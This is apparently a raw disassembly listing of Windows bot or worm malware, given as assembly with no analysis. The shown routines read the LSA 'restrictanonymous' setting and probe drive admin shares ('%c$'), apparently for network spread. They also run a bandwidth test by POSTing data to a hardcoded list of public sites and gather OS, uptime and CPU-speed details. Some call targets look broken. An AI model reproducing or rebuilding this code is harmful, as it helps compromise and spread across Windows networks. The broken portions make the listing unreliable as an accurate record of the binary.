		add	esp, 14h

loc_41A25A:				; CODE XREF: sub_41A19D+A1j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4151AC
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	0F003Fh
		push	ebx
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
		push	esi
		call	dword_4CAFE4
		test	eax, eax
		jnz	short loc_41A2C4
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	4
		push	ebx
		push	offset aRestrictanonym ; "restrictanonymous"
		push	[ebp+var_4]
		mov	[ebp+var_8], ebx
		call	dword_4CAF98
		test	eax, eax
		jz	short loc_41A2A6
		push	offset dword_439D64
		jmp	short loc_41A2AB
; ---------------------------------------------------------------------------

loc_41A2A6:				; CODE XREF: sub_41A19D+100j
		push	offset dword_439D2C

loc_41A2AB:				; CODE XREF: sub_41A19D+107j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CAF50
		jmp	short loc_41A2DE
; ---------------------------------------------------------------------------

loc_41A2C4:				; CODE XREF: sub_41A19D+E2j
		push	offset dword_439CF0
		jmp	short loc_41A2D0
; ---------------------------------------------------------------------------

loc_41A2CB:				; CODE XREF: sub_41A19D+13j
		push	offset dword_439B08

loc_41A2D0:				; CODE XREF: sub_41A19D+12Cj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx

loc_41A2DE:				; CODE XREF: sub_41A19D+125j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41A2FD
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h

loc_41A2FD:				; CODE XREF: sub_41A19D+144j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4151AC
		cmp	dword_4CB06C, ebx
		pop	ecx
		jnz	loc_41A472
		push	edi
		mov	esi, offset off_4399D0
		mov	edi, 200h

loc_41A321:				; CODE XREF: sub_41A19D+1E9j
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	ebx
		call	sub_418BBF
		add	esp, 0Ch
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_41A33C
		push	offset dword_439CD0
		jmp	short loc_41A341
; ---------------------------------------------------------------------------

loc_41A33C:				; CODE XREF: sub_41A19D+196j
		push	offset dword_439CA8

loc_41A341:				; CODE XREF: sub_41A19D+19Dj
		lea	eax, [ebp+var_220]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 10h
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41A370
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h

loc_41A370:				; CODE XREF: sub_41A19D+1B7j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4151AC
		add	esi, 8
		pop	ecx
		cmp	esi, offset off_4399E0
		jb	short loc_41A321
		nop
		call	near ptr 2821CFBh
		test	eax, eax
		mov	[ebp+var_4], eax
		mov	bl, 41h
		jz	loc_41A45A

loc_41A39B:				; CODE XREF: sub_41A19D+2B7j
		mov	eax, [ebp+var_4]
		and	eax, 1
		cmp	al, 1
		jnz	loc_41A44F
		cmp	bl, 41h
		jz	loc_41A44F
		movsx	esi, bl
		push	esi
		push	offset aC_1	; "%c$"
		lea	eax, [ebp+var_14]
		push	0Ah
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_20]
		push	esi
		push	offset aC_0	; "%c:\\"
		push	0Ah
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_20]
		push	eax
		call	dword_4CAFD4
		cmp	eax, 3
		jnz	short loc_41A44F
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	0
		call	sub_418BBF
		add	esp, 0Ch
		test	eax, eax
		lea	eax, [ebp+var_14]
		push	eax
		jnz	short loc_41A40D
		push	offset dword_439CD0
		jmp	short loc_41A412
; ---------------------------------------------------------------------------

loc_41A40D:				; CODE XREF: sub_41A19D+267j
		push	offset dword_439CA8

loc_41A412:				; CODE XREF: sub_41A19D+26Ej
		lea	eax, [ebp+var_220]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 10h
		cmp	[ebp+arg_C], 0
		jnz	short loc_41A442
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h

loc_41A442:				; CODE XREF: sub_41A19D+289j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4151AC
		pop	ecx

loc_41A44F:				; CODE XREF: sub_41A19D+206j
					; sub_41A19D+20Fj ...
		inc	bl
		shr	[ebp+var_4], 1
		jnz	loc_41A39B

loc_41A45A:				; CODE XREF: sub_41A19D+1F8j
		lea	eax, [ebp+var_220]
		push	offset dword_439C78
		push	eax
		call	sub_41B886
		pop	ecx
		xor	ebx, ebx
		pop	ecx
		pop	edi
		jmp	short loc_41A485
; ---------------------------------------------------------------------------

loc_41A472:				; CODE XREF: sub_41A19D+173j
		lea	eax, [ebp+var_220]
		push	offset dword_439A10
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx

loc_41A485:				; CODE XREF: sub_41A19D+2D3j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41A4A3
		push	ebx
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h

loc_41A4A3:				; CODE XREF: sub_41A19D+2EBj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4151AC
		pop	ecx
		push	1
		pop	eax
		pop	esi
		pop	ebx
		leave
		retn
sub_41A19D	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A4B7	proc near		; CODE XREF: sub_41A6AE+CBp
					; sub_41A6AE+DDp ...

arg_0		= dword	ptr  4

		nop
		call	near ptr 26907AFh
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_41B8E2
		cdq
		idiv	[esp+arg_0]
		mov	eax, edx
		retn
sub_41A4B7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A4D1	proc near		; CODE XREF: sub_41A6AE+D4p
					; sub_41A6AE+E6p ...

var_38		= dword	ptr -38h
var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= dword	ptr -24h
var_18		= qword	ptr -18h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_41AFE0
		mov	esi, 0FFh
		pop	ecx
		cmp	eax, esi
		ja	loc_41A6AA
		push	10h
		lea	eax, [ebp+var_28]
		push	0
		push	eax
		call	sub_41B590
		push	[ebp+arg_0]
		mov	[ebp+var_28], 2
		call	sub_40AAF9
		add	esp, 10h
		mov	[ebp+var_24], eax
		test	eax, eax
		jz	loc_41A6AA
		push	50h
		call	dword_4CAF74
		push	6
		push	1
		push	2
		mov	[ebp+var_26], ax
		call	dword_4CAFF4
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jz	loc_41A6AA
		lea	ecx, [ebp+var_28]
		push	10h
		push	ecx
		push	eax
		call	dword_4CAF1C
		cmp	eax, 0FFFFFFFFh
		jz	loc_41A6AA
		push	32003h
		call	sub_41CFC5
		mov	edi, dword_4270A8
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_8], ebx
		call	edi
		push	eax
		call	sub_41B8D8
		call	sub_41B8E2
		cdq
		idiv	esi
		mov	[esp+38h+var_38], 32001h
		push	0
		push	ebx
		movsx	esi, dl
		call	sub_41B590
		push	32000h
		push	esi
		push	ebx
		call	sub_41B590
		push	ebx
		call	sub_41AFE0
		push	323EAh
		mov	ebx, eax
		call	sub_41CFC5
		add	esp, 20h
		mov	esi, eax
		push	ebx
		push	[ebp+arg_0]
		push	offset aPostHttp1_0Hos ; "POST / HTTP/1.0\r\nHost: %s\r\nContent-Leng"...
		push	esi
		call	sub_41B886
		push	[ebp+var_8]
		push	esi
		call	sub_41BEC0
		push	offset asc_43381C ; "\r\n"
		push	esi
		call	sub_41BEC0
		push	esi
		call	sub_41AFE0
		mov	ebx, eax
		add	esp, 24h
		mov	[ebp+var_10], ebx
		call	edi
		mov	dword ptr [ebp+var_18+4], eax
		xor	eax, eax
		test	ebx, ebx
		mov	[ebp+arg_0], eax
		jbe	short loc_41A62A
		mov	[ebp+var_C], ebx
		mov	ebx, 400h
		jmp	short loc_41A5FA
; ---------------------------------------------------------------------------

loc_41A5F7:				; CODE XREF: sub_41A4D1+157j
		mov	eax, [ebp+arg_0]

loc_41A5FA:				; CODE XREF: sub_41A4D1+124j
		mov	ecx, [ebp+var_10]
		push	0
		sub	ecx, eax
		cmp	ecx, ebx
		jnb	short loc_41A60A
		push	[ebp+var_C]
		jmp	short loc_41A60B
; ---------------------------------------------------------------------------

loc_41A60A:				; CODE XREF: sub_41A4D1+132j
		push	ebx

loc_41A60B:				; CODE XREF: sub_41A4D1+137j
		add	eax, esi
		push	eax
		push	[ebp+var_4]
		call	dword_4CAFC4
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41A691
		add	[ebp+arg_0], ebx
		sub	[ebp+var_C], ebx
		mov	eax, [ebp+arg_0]
		cmp	eax, [ebp+var_10]
		jb	short loc_41A5F7

loc_41A62A:				; CODE XREF: sub_41A4D1+11Aj
		call	edi
		sub	eax, dword ptr [ebp+var_18+4]
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		fmul	flt_427714
		fst	[ebp+arg_0]
		fcomp	flt_427710
		fnstsw	ax
		sahf
		jnz	short loc_41A652
		fld1
		fstp	[ebp+arg_0]

loc_41A652:				; CODE XREF: sub_41A4D1+17Aj
		push	[ebp+var_4]
		call	dword_4CB00C
		push	[ebp+var_8]
		call	sub_41B0B1
		push	esi
		call	sub_41B0B1
		mov	eax, [ebp+var_10]
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		pop	ecx
		fild	[ebp+var_18]
		pop	ecx
		fdiv	[ebp+arg_0]
		fmul	flt_42770C
		fmul	flt_427708
		call	sub_41C798

loc_41A68C:				; CODE XREF: sub_41A4D1+1DBj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_41A691:				; CODE XREF: sub_41A4D1+149j
		push	[ebp+var_4]
		call	dword_4CB00C
		push	[ebp+var_8]
		call	sub_41B0B1
		push	esi
		call	sub_41B0B1
		pop	ecx
		pop	ecx

loc_41A6AA:				; CODE XREF: sub_41A4D1+19j
					; sub_41A4D1+42j ...
		xor	eax, eax
		jmp	short loc_41A68C
sub_41A4D1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A6AE	proc near		; CODE XREF: sub_401ACD+2E61p

var_26C		= byte ptr -26Ch
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 26Ch
		push	ebx
		push	esi
		push	edi
		push	8
		mov	[ebp+var_4], 3
		mov	[ebp+var_3C], offset aWww_schlund_ne ; "www.schlund.net"
		mov	[ebp+var_38], offset aWww_utwente_nl ; "www.utwente.nl"
		mov	[ebp+var_34], offset aVerio_fr ; "verio.fr"
		mov	[ebp+var_30], offset aWww_1und1_de ; "www.1und1.de"
		mov	[ebp+var_2C], offset aWww_switch_ch ; "www.switch.ch"
		mov	[ebp+var_28], offset aWww_belwue_de ; "www.belwue.de"
		mov	[ebp+var_24], offset aDe_yahoo_com ; "de.yahoo.com"
		mov	[ebp+var_20], offset aWww_google_it ; "www.google.it"
		mov	[ebp+var_6C], offset aWww_xo_net ; "www.xo.net"
		mov	[ebp+var_68], offset aWww_stanford_e ; "www.stanford.edu"
		mov	[ebp+var_64], offset aWww_verio_com ; "www.verio.com"
		mov	[ebp+var_60], offset aWww_nocster_co ; "www.nocster.com"
		mov	[ebp+var_5C], offset aWww_rit_edu ; "www.rit.edu"
		mov	[ebp+var_58], offset aWww_cogentco_c ; "www.cogentco.com"
		mov	[ebp+var_54], offset aWww_burst_net ; "www.burst.net"
		mov	[ebp+var_50], offset aNitro_ucsc_edu ; "nitro.ucsc.edu"
		mov	[ebp+var_4C], offset aWww_level3_com ; "www.level3.com"
		mov	[ebp+var_48], offset aWww_above_net ; "www.above.net"
		mov	[ebp+var_44], offset aWww_easynews_c ; "www.easynews.com"
		mov	[ebp+var_40], offset aWww_google_com ; "www.google.com"
		mov	[ebp+var_1C], offset aWww_lib_nthu_e ; "www.lib.nthu.edu.tw"
		mov	[ebp+var_18], offset aWww_st_lib_kei ; "www.st.lib.keio.ac.jp"
		mov	[ebp+var_14], offset aWww_d1asia_com ; "www.d1asia.com"
		mov	[ebp+var_10], offset aWww_nifty_com ; "www.nifty.com"
		mov	[ebp+var_C], offset aYahoo_co_jp ; "yahoo.co.jp"
		mov	[ebp+var_8], offset aWww_google_co_ ; "www.google.co.jp"
		call	sub_41A4B7
		push	[ebp+eax*4+var_3C]
		call	sub_41A4D1
		push	8
		mov	esi, eax
		call	sub_41A4B7
		push	[ebp+eax*4+var_3C]
		call	sub_41A4D1
		add	esp, 10h
		test	esi, esi
		jz	short loc_41A7AF
		test	eax, eax
		jz	short loc_41A7AB
		lea	ebx, [eax+esi]
		shr	ebx, 1
		jmp	short loc_41A7B1
; ---------------------------------------------------------------------------

loc_41A7AB:				; CODE XREF: sub_41A6AE+F4j
		mov	ebx, esi
		jmp	short loc_41A7B1
; ---------------------------------------------------------------------------

loc_41A7AF:				; CODE XREF: sub_41A6AE+F0j
		mov	ebx, eax

loc_41A7B1:				; CODE XREF: sub_41A6AE+FBj
					; sub_41A6AE+FFj
		push	0Ch
		call	sub_41A4B7
		push	[ebp+eax*4+var_6C]
		call	sub_41A4D1
		push	0Ch
		mov	edi, eax
		call	sub_41A4B7
		push	[ebp+eax*4+var_6C]
		call	sub_41A4D1
		add	esp, 10h
		test	edi, edi
		jz	short loc_41A7E9
		test	eax, eax
		jz	short loc_41A7E5
		lea	esi, [eax+edi]
		shr	esi, 1
		jmp	short loc_41A7EB
; ---------------------------------------------------------------------------

loc_41A7E5:				; CODE XREF: sub_41A6AE+12Ej
		mov	esi, edi
		jmp	short loc_41A7EB
; ---------------------------------------------------------------------------

loc_41A7E9:				; CODE XREF: sub_41A6AE+12Aj
		mov	esi, eax

loc_41A7EB:				; CODE XREF: sub_41A6AE+135j
					; sub_41A6AE+139j
		push	6
		call	sub_41A4B7
		push	[ebp+eax*4+var_1C]
		call	sub_41A4D1
		push	6
		mov	edi, eax
		call	sub_41A4B7
		push	[ebp+eax*4+var_1C]
		call	sub_41A4D1
		add	esp, 10h
		test	edi, edi
		jz	short loc_41A823
		test	eax, eax
		jz	short loc_41A81F
		lea	ecx, [eax+edi]
		shr	ecx, 1
		jmp	short loc_41A825
; ---------------------------------------------------------------------------

loc_41A81F:				; CODE XREF: sub_41A6AE+168j
		mov	ecx, edi
		jmp	short loc_41A825
; ---------------------------------------------------------------------------

loc_41A823:				; CODE XREF: sub_41A6AE+164j
		mov	ecx, eax

loc_41A825:				; CODE XREF: sub_41A6AE+16Fj
					; sub_41A6AE+173j
		xor	eax, eax
		test	ebx, ebx
		jz	short loc_41A832
		mov	edi, [ebp+var_4]
		mov	eax, ebx
		jmp	short loc_41A835
; ---------------------------------------------------------------------------

loc_41A832:				; CODE XREF: sub_41A6AE+17Bj
		push	2
		pop	edi

loc_41A835:				; CODE XREF: sub_41A6AE+182j
		test	esi, esi
		jz	short loc_41A83D
		add	eax, esi
		jmp	short loc_41A83E
; ---------------------------------------------------------------------------

loc_41A83D:				; CODE XREF: sub_41A6AE+189j
		dec	edi

loc_41A83E:				; CODE XREF: sub_41A6AE+18Dj
		test	ecx, ecx
		jz	short loc_41A846
		add	eax, ecx
		jmp	short loc_41A847
; ---------------------------------------------------------------------------

loc_41A846:				; CODE XREF: sub_41A6AE+192j
		dec	edi

loc_41A847:				; CODE XREF: sub_41A6AE+196j
		xor	edx, edx
		div	edi
		push	eax
		push	ecx
		push	esi
		push	ebx
		lea	eax, [ebp+var_26C]
		push	offset dword_439E18
		push	eax
		call	sub_41B886
		push	0
		lea	eax, [ebp+var_26C]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		lea	eax, [ebp+var_26C]
		push	eax
		call	sub_4151AC
		add	esp, 30h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41A6AE	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A88B	proc near		; CODE XREF: sub_401ACD+25A0p
					; sub_401ACD+2A10p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		call	near ptr 26907AFh
		nop
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	ebx, 15180h
		xor	edx, edx
		mov	esi, ebx
		mov	edi, 0E10h
		mov	ebp, edi
		push	3Ch
		mov	ecx, eax
		sub	ecx, [esp+14h+arg_0]
		mov	eax, ecx
		div	esi
		mov	esi, edx
		xor	edx, edx
		mov	eax, esi
		div	ebp
		pop	ebp
		mov	eax, edx
		xor	edx, edx
		div	ebp
		xor	edx, edx
		push	eax
		mov	eax, esi
		div	edi
		xor	edx, edx
		mov	esi, offset dword_4DB240
		push	eax
		mov	eax, ecx
		div	ebx
		push	eax
		push	offset aDdDhDm	; "%dd %dh %dm"
		push	32h
		push	esi
		call	sub_41B980
		add	esp, 18h
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41A88B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A8F4	proc near		; CODE XREF: sub_416F1A+24p

var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_84		= dword	ptr -84h

		push	ebp
		mov	ebp, esp
		sub	esp, 94h
		lea	eax, [ebp+var_94]
		push	esi
		push	eax
		xor	esi, esi
		mov	[ebp+var_94], 94h
		nop
		call	near ptr 26D05BAh
		test	eax, eax
		jz	short loc_41A987
		cmp	[ebp+var_90], 4
		jnz	short loc_41A95D
		cmp	[ebp+var_8C], esi
		jnz	short loc_41A945
		cmp	[ebp+var_84], 1
		jnz	short loc_41A938
		push	1
		pop	esi

loc_41A938:				; CODE XREF: sub_41A8F4+3Fj
		cmp	[ebp+var_84], 2
		jnz	short loc_41A987
		push	1
		jmp	short loc_41A986
; ---------------------------------------------------------------------------

loc_41A945:				; CODE XREF: sub_41A8F4+36j
		cmp	[ebp+var_8C], 0Ah
		jnz	short loc_41A952

loc_41A94E:				; CODE XREF: sub_41A8F4+78j
		push	2
		jmp	short loc_41A986
; ---------------------------------------------------------------------------

loc_41A952:				; CODE XREF: sub_41A8F4+58j
		cmp	[ebp+var_8C], 5Ah
		jnz	short loc_41A987
		jmp	short loc_41A977
; ---------------------------------------------------------------------------

loc_41A95D:				; CODE XREF: sub_41A8F4+2Ej
		cmp	[ebp+var_90], 5
		jnz	short loc_41A987
		cmp	[ebp+var_8C], esi
		jz	short loc_41A94E
		cmp	[ebp+var_8C], 1
		jnz	short loc_41A97B

loc_41A977:				; CODE XREF: sub_41A8F4+67j
		push	3
		jmp	short loc_41A986
; ---------------------------------------------------------------------------

loc_41A97B:				; CODE XREF: sub_41A8F4+81j
		cmp	[ebp+var_8C], 2
		jnz	short loc_41A987
		push	7

loc_41A986:				; CODE XREF: sub_41A8F4+4Fj
					; sub_41A8F4+5Cj ...
		pop	esi

loc_41A987:				; CODE XREF: sub_41A8F4+25j
					; sub_41A8F4+4Bj ...
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41A8F4	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A98C	proc near		; CODE XREF: sub_41AA42+290p
		push	ebx
		push	esi
		push	edi
		mov	esi, 0F4240h

loc_41A994:				; CODE XREF: sub_41A98C+2Fj
					; sub_41A98C+35j
		rdtsc
		push	3E8h
		mov	edi, edx
		mov	ebx, eax
		call	near ptr 2670EA1h
		nop
		rdtsc
		sub	eax, ebx
		push	0
		sbb	edx, edi
		push	esi
		push	edx
		push	eax
		call	sub_41D410
		mov	edi, edx
		mov	ebx, eax
		test	edi, edi
		ja	short loc_41A994
		jb	short loc_41A9C3
		cmp	ebx, esi
		ja	short loc_41A994

loc_41A9C3:				; CODE XREF: sub_41A98C+31j
		push	0
		push	64h
		push	edi
		push	ebx
		call	sub_41D480
		mov	ecx, edx
		push	64h
		xor	edx, edx
		mov	esi, eax
		test	ecx, ecx
		pop	eax
		ja	short loc_41AA36
		jb	short loc_41A9E2
		cmp	esi, 50h
		jnb	short loc_41A9E7

loc_41A9E2:				; CODE XREF: sub_41A98C+4Fj
		push	4Bh
		xor	edx, edx
		pop	eax

loc_41A9E7:				; CODE XREF: sub_41A98C+54j
		test	ecx, ecx
		ja	short loc_41AA36
		jb	short loc_41A9F2
		cmp	esi, 47h
		jnb	short loc_41A9F7

loc_41A9F2:				; CODE XREF: sub_41A98C+5Fj
		push	42h
		xor	edx, edx
		pop	eax

loc_41A9F7:				; CODE XREF: sub_41A98C+64j
		test	ecx, ecx
		ja	short loc_41AA36
		jb	short loc_41AA02
		cmp	esi, 37h
		jnb	short loc_41AA07

loc_41AA02:				; CODE XREF: sub_41A98C+6Fj
		push	32h
		xor	edx, edx
		pop	eax

loc_41AA07:				; CODE XREF: sub_41A98C+74j
		test	ecx, ecx
		ja	short loc_41AA36
		jb	short loc_41AA12
		cmp	esi, 26h
		jnb	short loc_41AA17

loc_41AA12:				; CODE XREF: sub_41A98C+7Fj
		push	21h
		xor	edx, edx
		pop	eax

loc_41AA17:				; CODE XREF: sub_41A98C+84j
		test	ecx, ecx
		ja	short loc_41AA36
		jb	short loc_41AA22
		cmp	esi, 1Eh
		jnb	short loc_41AA27

loc_41AA22:				; CODE XREF: sub_41A98C+8Fj
		push	19h
		xor	edx, edx
		pop	eax

loc_41AA27:				; CODE XREF: sub_41A98C+94j
		test	ecx, ecx
		ja	short loc_41AA36
		jb	short loc_41AA32
		cmp	esi, 0Ah
		jnb	short loc_41AA36

loc_41AA32:				; CODE XREF: sub_41A98C+9Fj
		xor	eax, eax
		xor	edx, edx

loc_41AA36:				; CODE XREF: sub_41A98C+4Dj
					; sub_41A98C+5Dj ...
		sub	eax, esi
		sbb	edx, ecx
		add	eax, ebx
		adc	edx, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41A98C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AA42	proc near		; CODE XREF: sub_401ACD+276Ep

var_7E8		= byte ptr -7E8h
var_668		= byte ptr -668h
var_5E8		= byte ptr -5E8h
var_568		= byte ptr -568h
var_4E8		= byte ptr -4E8h
var_3E4		= byte ptr -3E4h
var_2E8		= byte ptr -2E8h
var_25C		= word ptr -25Ch
var_25A		= byte ptr -25Ah
var_15C		= byte ptr -15Ch
var_114		= byte ptr -114h
var_CC		= dword	ptr -0CCh
var_C8		= dword	ptr -0C8h
var_C4		= dword	ptr -0C4h
var_C0		= dword	ptr -0C0h
var_BC		= dword	ptr -0BCh
var_B8		= byte ptr -0B8h
var_38		= byte ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 7E8h
		push	ebx
		push	esi
		lea	eax, [ebp+var_CC]
		push	edi
		push	eax
		mov	[ebp+var_4], offset dword_43D128
		mov	[ebp+var_CC], 94h
		nop
		call	near ptr 26D05BAh
		xor	ebx, ebx
		cmp	[ebp+var_C8], 4
		jnz	short loc_41AAC9
		cmp	[ebp+var_C4], ebx
		jnz	short loc_41AAA5
		cmp	[ebp+var_BC], 1
		jnz	short loc_41AA8F
		mov	[ebp+var_4], offset dword_43127C

loc_41AA8F:				; CODE XREF: sub_41AA42+44j
		cmp	[ebp+var_BC], 2
		jnz	loc_41AB44
		mov	[ebp+var_4], offset dword_431278
		jmp	short loc_41AB15
; ---------------------------------------------------------------------------

loc_41AAA5:				; CODE XREF: sub_41AA42+3Bj
		cmp	[ebp+var_C4], 0Ah
		jnz	short loc_41AAB7
		mov	[ebp+var_4], offset dword_431274
		jmp	short loc_41AB0C
; ---------------------------------------------------------------------------

loc_41AAB7:				; CODE XREF: sub_41AA42+6Aj
		cmp	[ebp+var_C4], 5Ah
		jnz	short loc_41AB05
		mov	[ebp+var_4], offset dword_431270
		jmp	short loc_41AB0C
; ---------------------------------------------------------------------------

loc_41AAC9:				; CODE XREF: sub_41AA42+33j
		cmp	[ebp+var_C8], 5
		jnz	short loc_41AB05
		cmp	[ebp+var_C4], ebx
		jnz	short loc_41AAE3
		mov	[ebp+var_4], offset dword_43126C
		jmp	short loc_41AB0C
; ---------------------------------------------------------------------------

loc_41AAE3:				; CODE XREF: sub_41AA42+96j
		cmp	[ebp+var_C4], 1
		jnz	short loc_41AAF5
		mov	[ebp+var_4], offset dword_431268
		jmp	short loc_41AB0C
; ---------------------------------------------------------------------------

loc_41AAF5:				; CODE XREF: sub_41AA42+A8j
		cmp	[ebp+var_C4], 2
		mov	[ebp+var_4], offset a2003 ; "2003"
		jz	short loc_41AB0C

loc_41AB05:				; CODE XREF: sub_41AA42+7Cj
					; sub_41AA42+8Ej
		mov	[ebp+var_4], offset dword_431260

loc_41AB0C:				; CODE XREF: sub_41AA42+73j
					; sub_41AA42+85j ...
		cmp	[ebp+var_BC], 2
		jnz	short loc_41AB44

loc_41AB15:				; CODE XREF: sub_41AA42+61j
		cmp	[ebp+var_B8], bl
		jz	short loc_41AB44
		lea	eax, [ebp+var_B8]
		push	eax
		lea	eax, [ebp+var_2E8]
		push	[ebp+var_4]
		push	offset aSS_1	; "%s (%s)"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2E8]
		add	esp, 10h
		mov	[ebp+var_4], eax

loc_41AB44:				; CODE XREF: sub_41AA42+54j
					; sub_41AA42+D1j ...
		mov	ax, word_437834
		push	3Fh
		mov	[ebp+var_25C], ax
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_25A]
		rep stosd
		stosw
		mov	eax, dword_4CAE54
		mov	[ebp+var_C], 100h
		cmp	eax, ebx
		jz	short loc_41AB7D
		lea	ecx, [ebp+var_C]
		push	ecx
		lea	ecx, [ebp+var_25C]
		push	ecx
		call	eax

loc_41AB7D:				; CODE XREF: sub_41AA42+12Cj
		push	[ebp+arg_4]
		call	sub_40AC0F
		pop	ecx
		push	eax
		call	dword_4CAFB4
		mov	[ebp+var_8], eax
		push	2
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		call	dword_4CAF2C
		cmp	eax, ebx
		jz	short loc_41ABA6
		push	dword ptr [eax]
		jmp	short loc_41ABAB
; ---------------------------------------------------------------------------

loc_41ABA6:				; CODE XREF: sub_41AA42+15Ej
		push	offset aCouldnTResolve ; "couldn't resolve host"

loc_41ABAB:				; CODE XREF: sub_41AA42+162j
		lea	eax, [ebp+var_3E4]
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp+var_4E8]
		pop	ecx
		push	104h
		push	eax
		call	near ptr 2670A7Ah
		nop
		lea	eax, [ebp+var_114]
		push	46h
		push	eax
		push	offset dword_43A10C
		push	ebx
		mov	esi, 409h
		push	ebx
		push	esi
		nop
		call	near ptr 2730000h
		lea	eax, [ebp+var_15C]
		push	46h
		push	eax
		push	offset aHhMmSs	; "HH:mm:ss"
		push	ebx
		push	ebx
		push	esi
		call	near ptr 27215EBh
		nop
		push	20h
		lea	eax, [ebp+var_38]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_38]
		push	eax
		nop
		call	near ptr 2830000h
		push	ebx
		push	ebx
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		lea	eax, [ebp+var_4E8]
		push	eax
		call	sub_41B9D1
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_7E8]
		push	eax
		call	sub_416A32
		push	60h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_7E8]
		rep movsd
		push	60h
		lea	esi, [ebp+var_7E8]
		pop	ecx
		lea	edi, [ebp+var_668]
		rep movsd
		push	ebx
